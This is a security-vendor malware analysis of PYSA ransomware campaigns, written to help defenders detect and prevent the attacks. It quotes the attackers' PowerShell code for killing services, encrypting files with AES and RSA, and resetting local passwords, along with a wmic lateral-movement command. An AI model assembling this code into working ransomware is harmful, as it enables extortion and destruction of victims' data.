From the Front Lines | Peering into A PYSA Ransomware Attack

By James Haughom and Niranjan Jayanand


PYSA (Protect Your System Amigo, aka Mespinoza) has been impacting high-value targets since early 2020, with a proclivity towards targeting educational and medical entities during the global pandemic. In March 2021, a FBI FLASH alert was issued concerning the noticeable increase in PYSA campaigns, particularly those against healthcare and educational targets.

SentinelOne’s DFIR engagement team encountered two particular PYSA ransomware campaigns that displayed some interesting tactics that may be of interest to security teams and analysts. In this post, we give a brief overview of PYSA and document the tactics we observed.


PYSA’s tactics are similar to other ransomware contemporaries. The group embraces the multipronged extortion model, hosting a long-standing blog of victim names and data, although as of early April 2022, the PYSA victim blog has been offline.

Screenshot of PYSA blog

Once a target has been breached, the attackers discover and exfiltrate sensitive and critical data, encrypt victim files, and demand a ransom.

PYSA’s primary methods of initial access and delivery have centered around RDP (Remote Desktop Protocol) exploits as well as phishing emails. Even with phishing as a first stage, the goal is to extract RDP credentials to make entry via their preferred method.

The group relies heavily on LOLBINs and COTS tools, avoiding the use of malware other than for encryption. Tools such as Cobalt Strike, Empire, WinSCP, Advanced IP Scanner and Advanced Port Scanner (and their forks) are often observed in active PYSA engagements. The group has also adopted additional tools like Chisel. Cloud storage services (e.g., are often utilized for data exfiltration, detection of which is many victims’ first indication of infection.

Over the last two years, PYSA has successfully compromised an increasing number of organizations. PYSA targets a number of sectors aside from healthcare and education, including Government, Food & Agriculture, Real Estate, Engineering, Utilities and others.

Technical Details

The ransomware observed by our team was deployed via a batch script which then called psexec.exe to start a Windows PowerShell script located at “\\$<hostname>\share$\p.ps1”.

There were multiple batch scripts in the target directory for multiple deployment methods, e.g., psexec0.bat, psexec1.bat, wmi0.bat, wmi1.bat.

The *0.bat variant calls the PowerShell-based ransomware directly from the network share; the *1.bat variant is designed to copy a services.exe file from that directory to the system Temp directory, and *2.bat file calls that executable on the victim machine. The latter two files are a backup plan in case the initial PowerShell ransomware is unsuccessful; however, due to the lack of the services.exe file existing in the environment, it appears this went unused.

Attackers were seen password spraying to gain RDP access to both virtual machines and workstations. They also targeted domain controllers and exchange servers heavily, planning to maximize business disruption.

During our investigation of the attack stages, we also identified the attacker using psexec for lateral movement and the final ransomware payload encrypted and renamed files with either a .pysa extension or another four character extension.

The table below summarizes the different tools and techniques used by the PYSA ransomware group at different stages of the kill chain.

Evasion PowerShell Batch
Cred Access PowerShell Empire Koadic Mimikatz
Discovery IP Scanner Port Scanner PowerShell
Persistence Chisel Cobalt Strike
Lat Movement PsExec RDP Batch Script
Backdoor Chisel
Exfiltration MEGASync WindSCP

Below are some script files identified on multiple endpoints that attackers used for their lateral movement.

File Name Type File Size
Before Windows BatchFile 1 KB
p Windows Powershell script 5 KB
psexec0 Windows BatchFile 810 KB
psexec1 Windows BatchFile 736 KB
psexec2 Windows BatchFile 585 KB
wmi2 Windows BatchFile 636 KB
wmi2(1) Windows BatchFile 636 KB

wmi2 and wmi2 (1) – uses stolen Domain Administrator credentials to deploy the ransomware en masse across the environment. In our example, the filename used for the deployed payloads was svchost.exe.

The two wmi*.bat files dropped by the attacker have numerous lines (like the one below) to laterally move and execute an executable by the name svchost.exe from the Temp folder into many different endpoints.

wmic /node:"<REDACTED>" /user:"<<REDACTED>>" /password:"<<REDACTED>>process call create "cmd /c c:\windows\temp\svchost.exe"

This executable is a Chisel Tunneling tool programmed in Go. Pysa threat actors have been consistent with using Chisel for tunneling, and the same file name and folder path occur in their earlier attacks as well.

The scripts above were used for various system information discovery tasks, as well as establishing the Cobalt Strike beacon, and ultimately the PowerShell-based execution of the ransomware itself.

The p.ps1 script above is used to kill or terminate services which may interfere with the encryption process. It also attempts to identify specific anti-virus applications.

The s() function will kill services by name, which is passed as an argument to the function. This is typical pre-ransomware deployment behavior to ensure that handles to critical assets (files/DBs) are forcibly closed, allowing the ransomware to obtain a handle and encrypt them.

function s($s) {
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Stop-Service -Force
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Set-Service -StartupType Disabled

Services terminated:

SQL Oracle Citrix
Exchange Veeam Malwarebytes
Sharepoint Quest Backup

The function p() is used to terminate processes by name using the WMIC utility. The name of the process to be terminated is passed as an argument to the function. The following processes are killed by the malware.

acronis adobe agent Agent AlwaysOn
anydesk apache Arcserve autodesk Backup
barracuda center chrome citrix Citrix
Core.Service database def dev endpoint
Endpoint engine exchange firefox Framework
http java logmein Malware manage
microsoft Mongo monitor OCS Inventory office
protect QBCF QBData QBDB QuickBooks
sage secure security segurda server
silverlight solarwinds sprout sql SQL
teamviewer veeam Veeam vnc web
function p($p) {
    wmic process where "name like '%$p%'" delete

The script also tags affected systems with a text file, writing the content “I’ll be back”. This text file is written to C:\log\<computer name>.txt.

New-Item -Path "\\<<computer name>>\log$" -Name "$name.txt" -ItemType "file" -Value "I'll be back.";

Finally, the malware changes the password of all local users to the value of the first 13 characters of the MD5 hash of the username with the string “ololo” appended. For example, the password for the username “admin” will be set to the first 13 characters of the MD5 hash of the string “adminololo”.

foreach ($user in $localusers)
    $myUser = "$($user)ololo"
    $hash = Get-StringHash $myUser
    $pass = $hash.substring(0, 13)

Use Of Chisel Tunneling Tool

During the course of our investigation, we encountered three different Chisel samples in total, all of which were DLLs, programmed in Go. Chisel is a cross-platform traffic tunneling tool, utilized by multiple threat actors. The release version of Chisel consists of a single binary that covers both client and server functionality. The DLLs are wrappers to leverage the project’s client side code. These DLLs function to decrypt the client configuration’s fields (IP, port, …), create a new instance of the Chisel client, and then invoke the client.

Digging deeper into the specific Chisel samples, we can see a few things including the various dependencies.

Packages & Dependencies for Chisel tool

The DLL’s original filename was magic.dll, with the main payload being stored in the “Debug” export.

Strings are individually XOR decrypted at runtime, including the C2 URL. This URL is then passed to the magicSocks function.

Encryption Details (via PowerShell)

Beyond the use of Chisel, there are some interesting highlights within the execution of PYSA. The p.ps1 script is used to prepare the environment, as well as execute the actual ransomware with the desired configuration.

The ransomware enumerates drives to encrypt via WMI, targeting only “fixed” drives.

[array]$target_drives = get-wmiobject win32_volume | ? { $_.DriveType -eq 3 } | % { get-psdrive $_.DriveLetter[0] } | % { $_.Root };

A pool of workers is used to speed up the encryption process by running jobs in parallel. These jobs are limited to 20 running at a time.

while ($running_jobs.Count -gt $max_workers)
    Start-Sleep -Seconds 5;
    [array]$running_jobs = $worker_jobs | Where { $_.State -eq "Running" };

Target directories are enumerated on each fixed drive, skipping critical folders to avoid rendering the victim’s system inoperable. Directories in the root folder of the drive matching the following criteria are skipped (“*” is used as a wildcard):

  • *Windows*
  • *Program Files*
  • *ProgramData*
Get-ChildItem "$( $disk )*" -Recurse -Force -Exclude "*Windows*", "*Program Files*", "*ProgramData*" | ? { $_.PSIsContainer } | Where-Object { ($_.FullName -notlike "*Windows*") -and ($_.FullName -notlike "*Program Files*") -and ($_.FullName -notlike "*ProgramData*") } | % { Show(@{ name = $_.FullName; ring = $SKbMxF }) };

The ransomware includes one exception to the “*Program Files*” directory, targeting folders within the “C:\Program Files\*SQL*” directory. This is to ensure that SQL databases and other high-value SQL-related files are encrypted.

Get-ChildItem "C:\Program Files*" -Force -Recurse -Include "*SQL*" | Where { $_.PSIsContainer } |% { SubSqlItems($_.FullName) };

Once target folders have been enumerated, they are passed to a worker as a job. Each job executes a ScriptBlock that expects two arguments. The first argument is a base64 string of directories to encrypt, delimited by a “|”.

$DVXJwpT = $args[0];
$include_zip = $args[1];
$JLzbvlx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($DVXJwpT));
[array]$target_dirs = $JLzbvlx.split("|");

The second argument is an option to have the ransomware run in a specific mode to target zip files for encryption, which requires the value “1”.

if ($include_zip -eq 1)
    [array]$target_files = Get-ChildItem $qlsL -Force -Include "*.zip" | Where { !$_.PSIsContainer } | Where { $_ };

If this option is not enabled, then the ransomware will iterate through the target directories excluding the following file extensions from the encryption process.

.ax .dll .exe .inc
.lnk .msi .ps1 .README
.search-ms .sys .tlb .zip
[array]$target_files = Get-ChildItem $qlsL -Force -Exclude "*.zip", "*.inc", "*.ax", "*.tlb", "*.msi", "*.lnk", "*.dll", "*.exe", "*.README", "*.redacted", "*.search-ms", "*.ps1", "*.sys" | Where { !$_.PSIsContainer } | Where { $_ };

Once this list of files is generated, each file path is passed to the crypt() function to perform the encryption.

foreach ($target_file in $target_files_list)

Within the crypt() function, a random 32-byte AES key is generated for each individual target file. Along with the key, a random 16 byte initialization vector (IV) is generated using the RNGCryptoServiceProvider class.

$rng_crypto_service_provider = New-Object System.Security.Cryptography.RNGCryptoServiceProvider;
$aes_key = New-Object byte[] 32;
$init_vec = New-Object byte[] 16;

The AES service provider is then instantiated, setting the key and IV to the randomly generated values mentioned previously.

$aes_crypto_service_provider = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$aes_crypto_service_provider.Key = $aes_key;
$aes_crypto_service_provider.IV = $init_vec;
$aes_crypto_service_provider.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;

The RSA service provider is then instantiated using a hardcoded RSA XML string.

$encryptor = $aes_crypto_service_provider.CreateEncryptor();
$rsa_crypto_service_provider = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 4096;
$rsa_crypto_service_provider.PersistKeyInCsp = $false;
$rsa_key_string = "sLdwS+FAAou46fSHkm/5NzsuRy5l5Iqf/+Jy/ZLCbPmrKVvhre0R1no1[...]"

The AES key and IV are both then encrypted with the RSA key.

$qGOTKey = $rsa_crypto_service_provider.Encrypt($aes_key, $false);
$Dbw = $rsa_crypto_service_provider.Encrypt($init_vec, $false);

The ransomware then proceeds to encrypt the contents of the file starting at the offset 1671.

$PBz = 1671;
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
[long]$iGzfUwq = $file_stream.Read($mctMK, 0, $mctMKSize);
$qGOT = $encryptor.TransformFinalBlock($mctMK, 0, $iGzfUwq);
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
$file_stream.Write($qGOT, 0, $iGzfUwq);

Approximately 10% of each file is encrypted, calculated using the following logic.

[long]$mctMKSize = $MZKSize / 10;
if ($mctMKSize -gt 6225920)
    $mctMKSize = 6225920;
    $SZdRf = [math]::floor($mctMKSize / 1024);

    if ($SZdRf -eq 0)
        $SZdRf = 1;
    $mctMKSize = 1024 * $SZdRf;

The encrypted AES key and IV are both written to the end of the newly encrypted file, and the file name is appended with the custom extension chosen by the attacker.

$file_stream.Seek(0, [System.IO.SeekOrigin]::End);
$file_stream.Write($qGOTKey, 0, $qGOTKey.Length);
$file_stream.Write($Dbw, 0, $Dbw.Length);
Rename-Item -Path $file_to_encrypt -NewName "$( $file_to_encrypt ).redacted";

Protecting Against PYSA Ransomware

SentinelOne customers are fully-protected against PYSA ransomware.


PYSA has outlasted some of its contemporaries through careful choice of targets as well as affiliates. Although the group’s TTPs cannot be described as technically advanced, the use of the Chisel tunneling tool and preparation of the target environment via PowerShell scripts is sufficiently novel to be worth documenting. We hope that providing visibility into all the various steps in the attack chain will be helpful for defenders and threat hunters to identify, detect and prevent such attacks.

Indicators of Compromise




T1027.002 – Obfuscated Files or Information: Software Packing
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
TA0010 – Exfiltration
T1082 – System Information Discovery
T1490 – Inhibit System Recovery
T1048.003 – Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage
S0583 – PYSA
S0154 – Cobalt Strike
T1110 – Brute Force
T1562 – Impair Defenses: Disable or Modify Tools
T1070.004 – Indicator Removal on Host: File Deletion
T1036 – Masquerading: Match Legitimate Name or Location
T1112 – Modify Registry
T1046 – Network Service Scanning
T1003.001 – OS Credential Dumping: LSASS Memory
T1021.001 – Remote Service: Remote Desktop Protocol
T1489 – Service Stop
T1016 – System Network Configuration Discovery
T1569.002 – System Services: Service Execution
T1552.001 – Unsecured Credentials: Credentials in Files